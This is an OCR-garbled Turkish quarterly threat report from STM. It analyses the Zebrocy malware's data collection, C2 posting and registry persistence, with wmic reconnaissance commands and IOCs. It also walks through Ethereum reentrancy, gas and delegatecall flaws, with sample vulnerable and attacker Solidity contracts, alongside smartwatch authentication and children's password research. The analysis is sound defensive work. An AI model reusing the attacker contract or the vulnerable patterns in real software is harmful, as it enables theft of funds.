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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2022 yilinin ilk ¢ceyreginde sizler icin hazirladigimiz rapo-
rumuzda yine birbirinden ilgi ¢ekici ve glincel konularla
karsinizdayiz.

Bunlar arasinda her dénem oldugu gibi zararll yazilim
analizleri, teknolojik gelismeler, tehdit aktdrt analizleri
ve honeypot verileri gibi bagliklar bulunuyor. “Zebrocy”
isimli zararli yazilimin analiziyle baglayan bélimu tekno-
lojik gelismeler bélumu takip ediyor.

loT sistemlerinin gelismesi ve giyilebilir teknolojilerin po-
pulerlesmesiyle birlikte en ¢ok tercih edilen Uriinlerden
biri haline gelen akilll saatlerin glin gectikge akilli tele-
fonlara olan bagimliliklarinin azalmasi, bu cihazlarin yeni
yetenekler kazanmasini getiriyor. Buna bir érnek olarak
“Akilli Saatler igin Gelistirilen Kullanici Dostu Kimlik Dog-
rulama Yoéntemi” konusunu irdeliyoruz.

Bunun devaminda Ethereum blok zincirindeki akilli s6z-
lesmelerde rastlanan glincel glivenlik zafiyetlerini incele-
yen yazimizi paylasiyoruz.

1. Zebrocy Zararh Yazilim Analizi

STM Zararh Yazihm Laboratuvar (ZLAB) tarafindan yapi-
lan arastirmalar sonucunda, APT28 grubu (diger bilinen
isimleriyle Pawn Storm, Fancy Bear, Sofacy ve Sednit)
tarafindan Zebrocy adli zararli yazihm kullanilarak saldi-
rilar gerceklestirildigi tespit edilmistir. S6z konusu zararli
yazihmin Autolt, Delphi, VB.NET, Go ve C++ olmak Uzere
farkh dillerde varyantlarinin oldugu gorilmektedir.

incelenen zararli yazilimin, C# ile yazilmis oldugu ve son
kullanicinin donanim, sistem, siire¢ ve tarih bilgilerini elde
ettigi ve sistemden topladidi bilgileri, POST metoduyla
komuta kontrol merkezine génderdigi tespit edilmistir.

Yapici ve yaptirici aksiyonlar kapsaminda, ilgili IOC’lerin
ilgili glivenlik cihazlari Gzerinde kontrolinin yapilmasi ve
ilgili imzalarin eklenmesi gerekmektedir.

«EnablevisualStyles()s|
1();

Sekil 1: Zararl yazilim isim igeriginin kontrold.
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Ardindan ¢ocuklarin parola kullanimiyla ilgili bir arastir-
may! paylasip cocuklarin parola aliskanliklar ve karakte-
ristikleri gibi konulari ele aliyoruz.

Tehdit aktéri analizleri béluminde ise, Rusya’da et-
kinliklerini devam ettiren Sandworm APT ile Fancy-
Bear (APT28) tehdit aktdrlerini ve bunlarin bagvur-
dugu taktik, teknik ve prosedurleri detayl bir sekilde
raporluyoruz.

Daha sonra Honeypot sensoérlerden topladigimiz veriler
1Isiginda saldirilan yerler, denenen portlar veya parolalar
gibi bilgileri sunuyoruz.

Son olarak bu rapordaki dénem konumuzu ise, bu yi-
Iin ilk G¢ ayinda dinya gindemini en ¢cok mesgul eden
konu olan Ukrayna-Rusya savagindaki siber operasyon-
lar olusturuyor.

Keyifli okumalar dileriz.

Teknik Analiz Detaylan

Bircok varyantinin oldugu bilinen Zebrocy zararh yazili-
minin C# varyanti, benzersiz birkac 6zellige sahiptir. Za-
rarli yaziim diger varyantlarindan farkl olarak strtcinin
seri numarasini almak igin Windows API olan GetVolu-
melnformation() fonksiyonunu kullanmaktadir. Bir baska
6zellik olarak, bu varyant ayni zamanda ekran gérinti-
slnd alip JPEG formatinda komuta kontrol sunucusuna
gbndermektedir.

Anti Analiz Teknikleri

Zararli yazilim, ilk etapta kontrol mekanizmasi olarak za-
rarli yazihm isminin igeriginde “~” kullaniima durumunu
kontrol etmektedir. Olmamasi halinde sire¢ kendini son-
suz doéngu iginde uyutmaktadir.
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OCAK-MART 2022

ﬂ thimkktech
LN

STM Teknolojik Diisiince Merkezi

Sekil 3: Form1_Load metodu.

Kontrol mekanizmasindan basarili bir sekilde gecilme-
si durumunda, Form1 adinda bir form yaratildigi goéral-
mastdr. Yaratilan formun gériinmez olarak ayarlandigi ve
Form1_Load metodunun cagirildigi gortlmektedir.

Veri Kacirma

Form igin gerekli olan tim bilgilerin, SSS() metodu
icinde yer aldigi gérilmektedir. Metot kapsaminda yer
alan gQ() metodu ile Name, SurName, Age girdi bilgileri
alinmaktadir.

Sekil 5: gQ() metoduyla girdilerin alinmasi.
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Sekil 6: Seri numarasinin alinmasi.

Sekil 7: Sistem bilgilerinin toplanmasi.

Name girdisi i() metoduyla alinmaktadir. Bu metod ile
“C:\\” sUrlictnln seri numarasi alinmaktadir.

Surname girdisi sr() metoduyla elde edilmektedir. Bu
metotla Roaming dizin bilgisi, tarih, saat ve ilgili zararli
yazilimin dizin bilgisi ainmaktadir. Alinan bu bilgiler ¢a-
hstinlan wmic.exe komut ¢iktisiyla birlestirilerek geri d6-
nus degeri olarak gdénderilmektedir.

Galistirlan komut:

Age girdisi pic() metoduyla alinmaktadir. Ekran gorinti-
st JPEG formatinda alinmakta, geri doniis degeri olarak
gonderilmektedir.

SSS() metodu icinde yer alan rre() metoduyla rre objesi
olusturulmaktadir. Bu metodun argiiman degerleri, gQ()
metodundan elde edilen degerlerle doldurulmaktadir.
Bu degiskenler arasinda komuta kontrol merkezi, sistem
bilgileri ve JPEG formatinda génderilecek olan ekran g6-
rintUsu yer almaktadir.

ages&wmic process get Caption, ExecutablePath

/C wmic logicaldisk get Caption, Description, VolumeSerialNumber, Size, FreeSpace&wmic diskdrive get Model, SerialNumber&wmic com-
putersystem get Manufacturer, Model, Name, SystemTypec&wmic os get Caption, OSArchitecture, OSLanguage, SystemDrive, MUILangu-

Sekil 8: JPEG formatinda ekran gdriintlisiiniin alinmasi.
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Sekil 9: rre() metodu.

Sekil 10: St() metodu.

Komuta Kontrol Merkezi ile iletisim

SSS() metodu igcinde yer alan St() metoduyla komuta
kontrol merkezi ile iletisim kurulmaktadir. St() metodun-
da yer alan conn() metoduyla HTTP istegi olusturulmak-
tadir. Sistemden toplanan bilgiler komuta kontrol merke-
zine génderilmektedir.

SERTIELSTRLEL T L T

Sekil 11: Komuta kontrol merkezine yapilan HTTP istegi.

SIBER TEHDIT DURUM RAPORU

Sistemde Kalicilik

Komuta kontrol merkezine yapilan istekten dénen ce-
vapta calistirilabilir dosya yer almaktadir. Bu dosya, HB()
metoduyla byte dizisi olarak alinarak “C:\Users\{user}\
AppData\Roaming\OneDrive\Support\” dizinin altinda
mvdrv.exe ismiyle kaydedilmektedir. Belirtilen dizinin
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toP( : bag)
L
bool result - falce;
(bag ==

[] byles = rre.

Sekil 12: Kalicilik saglamak igin kayit defterine kaydedilmesi.

altinda dosyanin var olmasi durumunda kayit defterinde
“Software\\Microsoft\\Windows\\CurrentVersion\\Run”
dizininde “OneDriveScv” degiskenine, dosya key degeri
olarak atanmaktadir. St() metodunda num degiskeninin
degerinin 0 olmasi halinde, mvdrv.exe isimli dosya adi
mse.exe olarak degistirilerek yeni dosya ismiyle kayit
defterine tekrar eklenmektedir. Bu islem sayesinde bil-
gisayarin kapatilip yeniden agiimasi durumunda zararli
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yazihm tekrar calismaya devam ederek sistemde varligi-
ni devam ettirecektir.

Komuta kontrol merkezinin kapatilmasindan dolayr mvd-
rv.exe isimli ikinci dosya incelenememistir. Yapilan ince-
lemeler sonucunda, yapici ve yaptirici aksiyonlar kapsa-
minda zararli yaziima ait IOC’lerin ilgili givenlik cihazlar
Uzerinde kontrolindn yapilmasi ve ilgili imzalarn eklen-
mesi gerekmektedir.

IoC
Aciklama Analiz edilen dosya
Dosya mrx.exe
MD5 2B16B0OF552EA6973FCE06862C91EE8A9
SHA1 18b42f4409be86a1a414d6390927a017d72f14de
SHA256 9a0f00469d67bdb60f542fabb42e8d3a90c214b82f021ac6719c7f30e69ff0b9
Dosya Tipi Portable Executable 32 .NET Assembly
Boyut 14.00 KB (14336 bytes)

Tablo 1: Zebrocy zararl yazilimina ait IOC bilgisi.

SIBER TEHDIT DURUM RAPORU
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2. Akill Saatler icin Gelistirilen Kullanici
Dostu Kimlik Dogrulama Yéntemi

Akilli saatler son yillarda yaygin olarak kullanilmaya bas-
landi. Ayni zamanda kullanim kolayligi ve kullanici sag-
hgini iyilestiren bir dizi akilli saat uygulamalari art arda
gelistiriimekte ve tanitiimaktadir. Bu surecte bu cihazla-
rin yeni modelleri akill telefonlara olan bagimliliklarindan
kurtularak kendi baslarina bagimsiz cihazlar haline gel-
meye basladilar. Bunun igin temel bir kosul olan kullanici
kimligi dogrulama ydntemi de yeni arastirma alanlari-
nin 6ntini agmaktadir. Mevcut durumda kullanilan PIN
(Personal Identification Numbers) gibi yontemler zor ve
uygunsuz bir etkilesim gerektirmenin yani sira yeterli gu-
venlik seviyesini de saglayamamaktadir. Ozellikle akilli
saat teknolojisiyle ilgili olarak biyometrik bilgilere dayali
kullanici kimlik dogrulamasi yapabilmek icin 6zel mali-
yet gerektiren sensdrlere ve kullanici etkilesimine ihtiyac
vardir. Bu problemi ¢ézmek icin Kore merkezli bir grup,
insan vicudunun titresimlere gésterdigi tepkilere daya-
I daha guvenli ve kullanici etkilesimi gerektirmeyen bir
ydntem gelistirdi. Yéntemin temelinde her insanin, tipki
parmak izinde oldugu gibi maruz kaldig: titresime farkli
bir tepki vermesi yatiyor. Akilli saat tarafindan kullanicisi-
na gonderilen rasgele uzunluk ve siddetteki titregsimlere
kullanicinin viicudunun verdigi tepkiler akilli saatte bula-
nan jiroskop ve ivmedlger yardimiyla algilanarak kimlik
dogrulamasi yapiimaktadir. Onerilen yéntemin piyasa-
daki akilli saatlerle yapilan testlerinde ytzde 1,37’lik bir
hata payiyla calistigi géraimustar.

Su anda kimlik dogrulama ydntemi olarak kullanilan PIN
ve desen tabanli kimlik dogrulama, kullaniglilik agisindan
yeterli degiller ve kaba kuvvet veya gbzetleme (shoul-
der-surfing) saldirlarina agik durumdalardirt™ B!, Arag-
tirmacilann Uzerinde ¢alistidi diger bir ydntem ise biyo-
metrik veri tabanh kimlik dogrulama ydntemleri. Bunlar
arasinda parmak izi®¥, elektro diyagram verisi (ECG)¥,
ses b, yiiz®, iris, damar® ve mimik® '% tanima tabanli
ydntemler yer almaktadir. Bazi metotlar 6zel sensorler
gerektirdigi icin piyasadaki akilli saatlerde kullaniimiyor.
ECG, ses, mimik tabanli biyometrik verileri 6lcebilen
sensorler akilll saatlerde bulunmasina ragmen bu yén-
temler de kullanigliik agisindan cok verimli degiller. Or-
negin ECG sinyallerini 6lcmek icin kullanicinin parmagini
sensorln Uzerine yerlestirerek bir stire tutmasi gerekiyor.
Buna ek olarak, biyometrik veriler statik veri olarak si-
niflandinlir. Statik kimlik dogrulama ydntemleri ise sal-
dirganlardan tarafindan olusturulan sahte biyometrik
verilerle yapilan saldirilara oldukca aciktir (3B yazicidan
c¢ikarilan yiiz veya parmak izleri).

Titresim Tabanh Kimlik Dogrulama

Onerilen yéntem bagimsiz olarak ve hicbir ek cihaza
ihtiyac duymadan calismaktadir. Titresim tabanl kimlik

SIBER TEHDIT DURUM RAPORU
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dogrulama yénteminin temelinde sorgulama-yanit (chal-
lenge-response) yapisi vardir. Biyometrik veri tabanli
kimlik dogrulama y&ntemlerinin ¢ogu statik olarak c¢a-
smaktadir. Bu ylzden saldirganlar olusturduklari sahte
biyometrik verilerle bu sistemleri aldatabilir. Titresim ta-
banh kimlik dogrulamada akilli saat tarafindan destek-
lenen farkli titresim tiplerinin arasindan secilen bir tip
kullanilir. Sistem 6nce kullanilacak olan titresim tiplerini
ve bunlara kullanicinin verecegi tepkileri dlgen bir kayit
asamasindan gecer. Kayit ve kimlik dogrulama adimlari-
ni Sekil 13’de gdrebilirsiniz.

Uratilen titregimler

T
(R Y R R Beddand B R AR PR B PR}
i |

Tip 06 Tip 04 Tip 05 Tip03 Tip 00

1. Rastgele segilen 5 titresim tipi

2-1. Meydan okuma olarak ilk titregimin dGretilmesi

2-1. Titregime verilen | [

kargidin algilanmasi a i ' A .

;__ ____________ Titregime verilen te_pk{n’er_.
3. Qlgiimlerin - . ;
aynigtinimasi

|

|

4. Sinyallerin filtrelenerek }”HH“‘ }‘"“"‘1 }'“‘"

temizlenmesi |

5. Her titrasim sinyalinin [

ayn olarak dogrulanmas:  Tip 06 Tip 04 7 Tip 05 7 Tip03? Tip00?
| | | |

6. Kimlik Dogrulama

Sekil 13: Titresim tabanl kimlik dogrulama ydntemi.

shpaegbed

Titresim Uretimi ve Olciilmesi

Bir akilli saat toplamda n adet titresim tiri sagliyorsa
yinelemeye izin verilerek bunlar arasindan rasgele besi
secilir. Bes titresim tUrtinden olusan bu rasgele dizi, kul-
lanici kimlik dogrulamasi icin bir sorgulama haline gelir
ve bu diziye titresim sorgulamasi denir. Segilen titresim
dizisi ayni sirayla kaydedilir. Akilli saat, olusturulan titre-
sim sorgulamasina goére titresir ve saatin icinde bulunan
jiroskop ve ivmedlger sensdrlerini kullanarak verilen ya-
niti dlger. Bu yanita titresim yaniti denir.

Oznitelik Cikarma

Olciilen her yantt filtrelenerek hata olusturabilecek etkiler-
den temizlenir ve daha sonra filtrelenen bu sinyallerden
kullanicly1 tanimlamada kullanilacak 6znitelikler cikartilir.

Akilll saatin kol Uzerindeki élcimleri sirasinda sinyaller-
de kirlenmeler meydana gelebilir. Bir baska ¢alismadal'™
insan hareketlerinin frekans araligi 0 Hz ile 20 Hz olarak
belirlenmistir. Bu nedenle ylksek gegiren bir filtre uygu-
lanarak 20 Hz’in Gzerindeki sinyaller temizlenir.
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Filtrelenen sinyallerden cikartilan istatistiksel dznitelikler
arasinda integral mutlak deger (IAV); ortalama mutlak de-
ger (MAV); varyans (Var); kok ortalama kare (RMS); stan-
dart sapma (Std); orta mutlak sapma (MAD); sinyal blytk-
l0k alani (SMA); carpiklik, basiklik ve ceyrekler arasi aralik
(IQR); eneriji ve entropi yer almaktadir. Zaman alanindaki
bir yanit sinyalinin korelasyonunu hesapladiktan sonra,
korelasyondaki en ylksek bes tepe noktasinin indeks c¢ift-
leri ve yukseklikleri ¢ikartilir. Ayrica hizll Fourier déntisima
(FFT), ayrik kosinls déntisimi (DCT), ayrik dalgacik do-
nustima (DWT) ve gl spektral yogunlugu (PSD) kullanila-
rak dénusturdlen bir yanit sinyalindeki en ylksek bes tepe
noktasinin indeks ve yikseklik ciftleri de ¢ikarilir. Cikarilan
bes tepe noktasindaki iki komsu cift arasindaki indeks ve
yukseklik farklan ¢ikarlir. Diger bir deyisle tepe indeks ve
yukseklik giftleri (x,, y,), (X ¥,), Xs: Vo), (X5 V) Ve (X, ¥,
seklinde gosterilirse, iki bitisik pik indeks ve yikseklik cifti
arasindaki farklar (x,—X,, Y,=Y,), (X,=X5, ¥,=Yg), (X=X, Y=
y,) ve (x,—X,, y,~y,) olur. Bir titresime verilen yanit sinyali
alti adet sinyalden olustugu icin sonuc¢ olarak toplamda
her yanit icin 756 adet 6znitelik ¢ikartilmis olacaktir. Cika-
rilan bu dznitelikleri degerlendirmek icin scatter metodu
kullanilmigtir. Sekil 14’de gérildigu gibi 6znitelikler her
katiimci icin kiimelenme egilimi gdstermektedir.

2R

0.7 4

0.6 4

J ® Kanhme |

® Katlme 2
® Kathme 3
® Katlme 4
® Kaubme §
@ Kaulimei 6

Katilimer 7

0.5

ikinci Onemli Oznitelik

@ Kanlbme ¥
Katilimer
® Katlme: 10

04

0.00 0.01 0.02 0.03 0.04 0.05
Birinci Onemli Oznitelik

Sekil 14: Ozniteliklerin dagilim &rnegi.

Kullanici Dogrulama

Bir dogrulama modeli kullanilarak titresim yanit sinyalini
olusturan her bir yanit sinyalinin gegerli kullanicidan 6l-
cllen bir yanit sinyali olup olmadigi dogrulanir. Bes yanit
sinyalinin hepsinin gecgerli oldugu dogrulanirsa, kullanici
kimlik dogrulamasinin basarili oldugu degerlendirilir. An-
cak, bir yanit sinyalinin bile gecersiz oldugu dogrulanirsa
kullanici dogrulamasi basarisiz olmus olacaktir. Benzer
sekilde titresim turlerinin sayisi n ise kullanici kimlik dog-
rulamasi icin dogrulama modellerinin sayisi toplamda
n’dir. Sekil 15: Cok katmanl’de ¢cok katmanh dogrulama
modeli gdrulmektedir.
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Sekil 15: Cok katmanl dogrulama modeli.

Bu calismada, akilli saatler icin kullanici etkilesimi gerek-
tirmeyen bir sorgulama-yanit yapisina dayanan titresim
tabanli bir kullanici kimlik dogrulama yontemi éneriyoruz.
Yéntem Apple Watch 3'te ve resmi olarak Apple Watch’ta
saglanan varsayilan titresim tirlerinde degerlendirilmistir.
Bu, kullanicilarin kimligini dogrulamak icin ek aygit gerek-
medigdi anlamina gelir. Ek olarak yéntem ylzde 1,37’lik bir
hata payiyla kimlik dogruladigi élctlmustar.

3. Ethereum Akilli S6zlesmelerindeki Giincel
Gilvenlik Zafiyetleri

Blok zinciri teknolojisine dayali Ethereum Akilll S6zles-
meleri, merkezi bir yetkili kurulustan bagimsiz olarak bir
blok zinciri agi Uzerindeki esler arasinda islem yapmaya
olanak tanir. Bu sdzlesmeler, merkeziyetsiz uygulamalar
(dApps) olarak yurutilebilen programlardir. Merkeziyet-
siz uygulamalar sayesinde tiketiciler seffaf ve celiskisiz
bir ortamda anlagmalar yapabilir. Yapilan son arastirma-
lar, akilll sézlesmelerin uygulamalar ve kullanicilari icin
bazi glvenlik zafiyetleri tasidigini gostermektedir.
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Ethereum Akilll Sézlesmeleri Solidity dili kullanilarak
yazilir. Bu yazida Solidity tabanli Ethereum akilli s6z-
lesmelerinde blylk etkiler olusturan bazi zafiyetler, bu
zafiyetlerin nasil istismar edilebilecegi ve saldirilarin et-
kisini azaltmak icin uygulanabilecek koruyucu teknikler
incelenecektirl’2.

1. Blok Zinciri Teknolojisi

Blok zinciri uygulamalari, Agik Blok Zinciri 1.0, 2.0 ve 3.0
olmak lizere (ic ana kategoride siniflandirilir. Ozellikleri
soyledir:

Acik Blok Zinciri 1.0: Agirlikli olarak finans sek-
térinde dijital 6demeler ve doéviz transferleri igin
kullaniimaktadir.

Acik Blok Zinciri 2.0: E-ticaret sektértinde kullanilir ve
Ethereum Akill S6zlesmelerini icerir. Bu tir uygulama-
lar finansal sdzlesmeleri isleyerek dijital varlik sahipligi
icin bir temel saglamis olur. Genelde e-ticaret uygula-
malarinda kullanildigi icin, gelistiriciler tarafindan yapi-
lan kodlama aciklarindan kaynaklanan saldirlara kargi
daha savunmasizdir. Akilli s6zlesmeler olusturulurken,
gelistirme seviyesinde yapilmig bazi kodlama hata-
larina 6rnek olarak; fonksiyonlarin recursive cagrilar
(A fonksiyonun B'yi cagirirken B’nin Ayl cagirmasi),
hatall constructor isimlendirmesi, typecasts, istenme-
yen fonksiyon sizintisi, yigin tasmasi verilebilir. Bu tir
kodlama hatalari, saldirganin BT adinda kéti amach
s6zlesme yayinlamak ve béylece Ether toplayarak is-
lemleri maniptle etmesine sebebiyet verir.

Acik Blok Zinciri 3.0: Kamu ydnetimi, saglk, bilim
gibi alanlarda kullanilir ve bu sebeple 6zel olarak
nitelendirilir.

2. Zafiyetler

2.1. Yeniden Giris Saldinsi (Reentrancy Attack):

Yeniden giris saldirisi, akilli bir sézlesmenin ether’ini bo-
saltabilir ve s6zlesme koduna izinsiz giris saglayabilir.
Saldirganin elindeki guvenilmez bir s6zlesmeye hedef
sdzlesme Uzerinden fonksiyon cagrisi yapildiginda, ori-
jinal fonksiyona &zyinelemeli fonksiyon ¢agrilari yapilir.
Bu cagrilar, hedef s6zlesme lizerinde kullanimina ihtiyag
duyulmayan kod kisimlarini tetikler ve slirecin sonunda
tim gazin tiketilmesine yol acgabilir.

3. Yeniden Giris Zafiyetinin istismar Asamasi- DAO
Saldinst:

Merkeziyetsiz Otonom Organizasyon (DAO olarak bili-
nir), kripto ve merkeziyetsiz alan icin bir risk sermaye-
si fonu olarak hizmet etmektedir. DAO’nun olusturulma
déneminde, herkes DAO token’lari kargiiginda clizdan
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adresine ether génderebilir. Bu bir nevi platform iginde
herkesin s6z sahibi oldugu bir ortam olarak disunile-
bilir. DAO belirtecleri olan herkes platformun gelecegi
hakkinda oy kullanabilir, projeler kar ederse karsiliginda
DAO paydaslari bu karlar Gzerinden oéduller alabilir.

1 contract Kurban |

2 bool etherTransferi false

3 Caloder oy R VR P PR o

4 function withdraw () {

5 "

o if (  etherTransferi |

7 'msg. sender. call . value(1) ()) throw;
i etherTransferi = true;

s 1

10 contract Saldugan |

11 uint sayit = 0;
12 function () payable{
13 if(++sayl < 10) Kurban (msg.sender).withdraw():

14 H

Sekil 16: Basitlestiriimis DAO Saldirisi - Yeniden Giris Zafiyeti.

Sekil 16’da gorildigu tizere DAO’dan para transfer edil-
mesine izin veren akilli sézlesme kodundaki bir gliven-
lik acigi akill s6zlesmeye saldiriimasina olanak tanir. Bu
dért adimda gercgeklesir:

Saldirgan, kurbanin ¢ekim fonksiyonuna bir islem
baslatir.

Kurban paray! transfer eder ve saldirganin geri dénis
fonksiyonunu cagirir.

Geri donls fonksiyonu, cekim fonksiyonunu tekrar
tekrar ¢cagirir. Aslinda saldiri da ismini bu agiktan al-
mistir: “Yeniden Girig”.

iterasyonun icerisinde saldirgana birden gok kez et-
her aktarimi saglanacaktir.

4. Onleyici Teknikler:

Disaridan fonksiyon ¢agrisi yapildiktan sonra, ether gén-
derilmeden 6nce durum degistirme mantiginin islenmesi
saglanarak yeniden giris glvenlik acigi 6nlenebilir. Diger
bir segenek ise, kod ylritme sirasinda sézlesmeyi Kilit-
leyen ve durum degiskeni eklemesi yapmayi saglayacak
bir muteks kullanmaktir.

4.1. Gaz bitimi istisnasi (Out of Gas Exception):

Akilll s6zlesme kodlamasi sirasinda kullanilan ve ilkel
fonksiyon olan send() fonksiyonu, s6zlesmeler arasinda
ether aktarirken beklenmeyen bir gaz bitimi istisnasina
neden olabilir. Bayt kodu talimatlarinin yUrdtilmesine
izin vermek icin édnceden belirlenmis bir gaz birimi limi-
ti vardir ve yeterli gaz birimi mevcut degilse, fonksiyon

11
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¢agrisi gaz bitimi istisnasiyla sonuclanabilir. Bu durumda
istenilen islem gerceklesmemis olur.

5. Gaz Bitimi istisnasi Zafiyetinin istismar
Asamasi— King of Ether Throne Attack:

King of Ether Throne (KotET) sdzlesmesi, oyuncularin
mevcut krala talep fiyati olarak bir miktar ether ve s6zles-
me sahibine bir miktar Ucret ddeyerek kral olmak icin re-
kabet ettigi bir oyundur. Sézlesme yeni bir Ether Taht Krali
ilan ettikten sonra, taht igin yeni talep fiyati ylizde 50 artar.

1 contract KoEth |

2 address public kral -

3 uint public talepﬁdl—jll—.—l = 100;

1 address sahip ;

5 function KoEth () {

[3 - msg.sender; kral - msg. sender:)
7 function () payahle {

8 if (msg. value < ta|(}p0dﬁm) throw ;
9 uint  tazminat = tazminatiHesapla() ;

1 kral.send({  tazminat Yo

12 kral = msg. sender ;

13 lalepOdila =  yeniFiyatHesapla(); : '}

1 }

Sekil 17: Basitlestiriimis King of Ether Saldirsi - Gaz Bitimi Istis-
nasi Zafiyeti.

Sekil 17°de de goruldigu Uzere KotET sdzlesmesi yeni
kral adayina yUkli miktarda ether génderdiginde, gaz
miktari yeterli olmadigindan ciizdan sdzlesmesi basari-
siz olmaktadir. Bu basarisizlik etherin KotET sézlesmesi-
ne iade edilmesine sebep olmakta fakat bu sirada KotET
islemine devam etmektedir. Béylece tazminat 6demesi
onceki krala génderilmemis olmasina ragmen kral de-
gistiriimis olmaktadir.

6. Onleyici Teknikler:

Bu zafiyet, send() metodu yerine transfer() metodu kul-
lanilarak &nlenebilir. Glnkl transfer() metodunun kulla-
niminda karsi taraftan geri déniis degeri geldigi zaman
islem geri alinir.

6.1. Bilinmeyenleri Cagirma:

Solidity dilinde kullanilan bazi ilkel tipler fonksiyon cagir-
ma veya ether transferi sirasinda beklenmedik bir sekil-
de aliciya ait geri dénls fonksiyonlarini caginr. Bunlar-
dan bazilari sunlardir:

call: Bir fonksiyonu cagirmak veya ether transfer et-
mek icin kullanilir.

send: Calisan s6zlesmeden diger s6zlesmelere ether
transferinde kullanilir.

OCAK-MART 2022

delegatecall: Bir fonksiyonu ¢agirmak veya ¢agrilan
ortamdan ether aktarmak icin kullanilir.

Dogrudan cagirma: (Sekil 18: Bilinmeyenleri Cagirma
- Dogrudan Cagirma)

1 contract Alice| function ping(uint) { returns (uint); }}
2 contract Bob{ function pong (Alice ¢} | c.ping (42); }}

Sekil 18: Bilinmeyenleri Cagirma - Dogrudan Cagirma.

Cagrilan fonksiyonlarin imzasi var olan bir fonksiyonla
eslesmediginde, ¢cagri sonucu aliciya geri dénis fonksi-
yonu olarak iletilir.

7. Bilinmeyenleri Cagirma Zafiyeti istismar
Asamasi— Second Parity MultiSig Wallet Attack:

MultiSig ctizdanindan kaynakli bu zafiyette, zafiyetli s6z-
lesmenin iki gelistirmesi istismar edilmektedir. Bunlar,
s6zlesmenin baslamasini saglayan constructor ve wit-
hdraw() fonksiyonudur.

1 contract WallctLibrary |

2 address sahip;

3 function initWallet(address sahip )} {

4 sahip = _sahip

5 function sahibiDegistir (address

6 if (msg.sender == sahip ) {

i sahip = vyeni sahip :}}

8 funection () payable | //pararunalinma !

9 function withdraw (uint miktar } external returns (
bool baganh .) {

10 if (msp.sender == sahip } |

11 return  sahip. send( miktar ) ;}

12 else {

13 return false ;}}}

yeni sahip ) extermal |

Sekil 19: Basitlestiriimis zafiyetli MultiSig ctizdani.

Sekil 19°da goruldugu tzere, saldirgan, MultiSig clizda-
ninin yetkisini elde etmek ve clizdandaki tiim fonlar ken-
di clizdanina aktarmak igin iki islem baslatir. S6zlesme-
nin yetkisini elde etmek igin Wallet.initWallet(saldirgan)
fonksiyonunu tetiklemesi gerekmektedir. Bu fonksiyon,
clizdanlarin geri dénus fonksiyonunu tetikler. Geri donus
fonksiyonu ise WalletLibrary icinde bulunan delegate-
Call() fonksiyonunu tetikler. InitWallet tetiklendigi zaman
initWallet(saldirgan) fonksiyonunu calistirir. Bdylece sal-
dirgan hedef clizdanin sahibi olur ve para gekme hakkini
elde etmis olur.

8. Korunma Teknikleri:

Solidity “library” anahtar kelimesini kullanarak kuttip-
hane s&zlesmelerinin uygulanmasini saglayabilir. K-
tiphane soézlesmeleri durumsuzdur (stateless) ve du-
rumunu degistirmemek icin Solidity iginde tanimli bu
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kutiphanelerin gelistirmelerinde tanimlanmasi ve kulla-
nilmasi saglanmaldir. Bu sayede call() ve delegateCall()
fonksiyonlar kullanilirken saldirganin kendi ctzdanina
cagri yapiimasinin énine gecilmis olur.

4. Cocuklarin Parolalar Hakkinda Ne
Dislindiiglinii Anlamak

Cocuklar, teknoloji ve sanal 6grenimle kiglik yaslarda
tanigiyorlar. Bilgisayar teknolojisi hayatlarinin biydk bir
kismini olusturuyor. Giinimdzun ilkokul ve ortaokul ¢o-
cuklari, dijital teknolojisiz bir diinyanin nasil oldugunu
bile bilmiyor.

Cocuklar, sosyal medya gibi sistemlere her gecen glin
daha fazla maruz kaliyor. Bu gibi sistemlerde kimlik dog-
rulama kullaniimasi sebebiyle ¢ocuklar aktif olarak ve
siklikla parola kullaniyorlar. Bu da parola uygulamalarini
ve davraniglarini anlamayi dnemli kiliyor.

Bu calismanint™® amaci, cocuklarin parolalar hakkindaki
dusuncelerini, neler bildiklerini ve uygulamalarini kesfet-
mektir. Bu calisma, Amerika Birlesik Devletleri’nde (ABD)
yasayan uclnci sinif ile 12’inci sinif arasi 1.505 gocugda
yapilan anket dogrultusunda yapildi.

Calismada cocuklarin parola algilarini ve davraniglarini
anlamak i¢in asagidaki sorularin yanitlari arandi:

Parola Algilan

Ogrenciler parolalar hakkinda neler biliyor?

Parola yaratmakta zorlanmayan

Degisik parolalar yaratmakta zorlanmayan

Parolalari hatirlamakta zorlanmayan

Klavyeden parola girmekte zorlanmayan

Dokunmatik ekrandan parola girmekte zorlanmayan

Giris yapma islemi icin baska bir yol olmasi gerektigini diisiinen

Birden fazla parolaya sahip olan

Glney

Sekil 20: Cocuklarin parola algisi (%).
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Parolaya ihtiya¢ duyulmasinin sebebinin ne oldugunu
dustnlyorlar?
Parola algilari neler?

Parola Davranislan

Ogrenciler parolalari nasil olusturuyor ve koruyor?
Olusturduklari parolalarin ézellikleri neler?

1. Katihmcilar

Katiimcilarin 425’i ABD Dogu eyaletlerinin tGglnca sinif
ile besinci sinif arasi ilkokul 6grencilerinden, 357’si Orta-
bati eyaletlerinin altunci sinif ile sekizinci sinif arasi orta-
okul égrencilerinden, 723’0 de Gliney eyaletlerinin lise
o6grencilerinden olugsmaktadir.

2. Arastirma Sonuclari

Parola Algilan

Calisma sonucunda, &grencilerin parola uygulamalarini
genellikle evden (%72,35) ve okuldan (%59,90) ve na-
diren internetten (%24,48) ve arkadaslarindan (%12,28)
edindigi gbézlemlenmistir.

Ogrencilerin parola algilarini 6grenebilmek igin yéneltilen
sorularin cevaplari Sekil 20°de incelenmistir.

Ogrencilerin yiizde 50°den fazlasinin parola yaratmayi
kolay buldugu gérulirken degisik parolalar olusturmayi
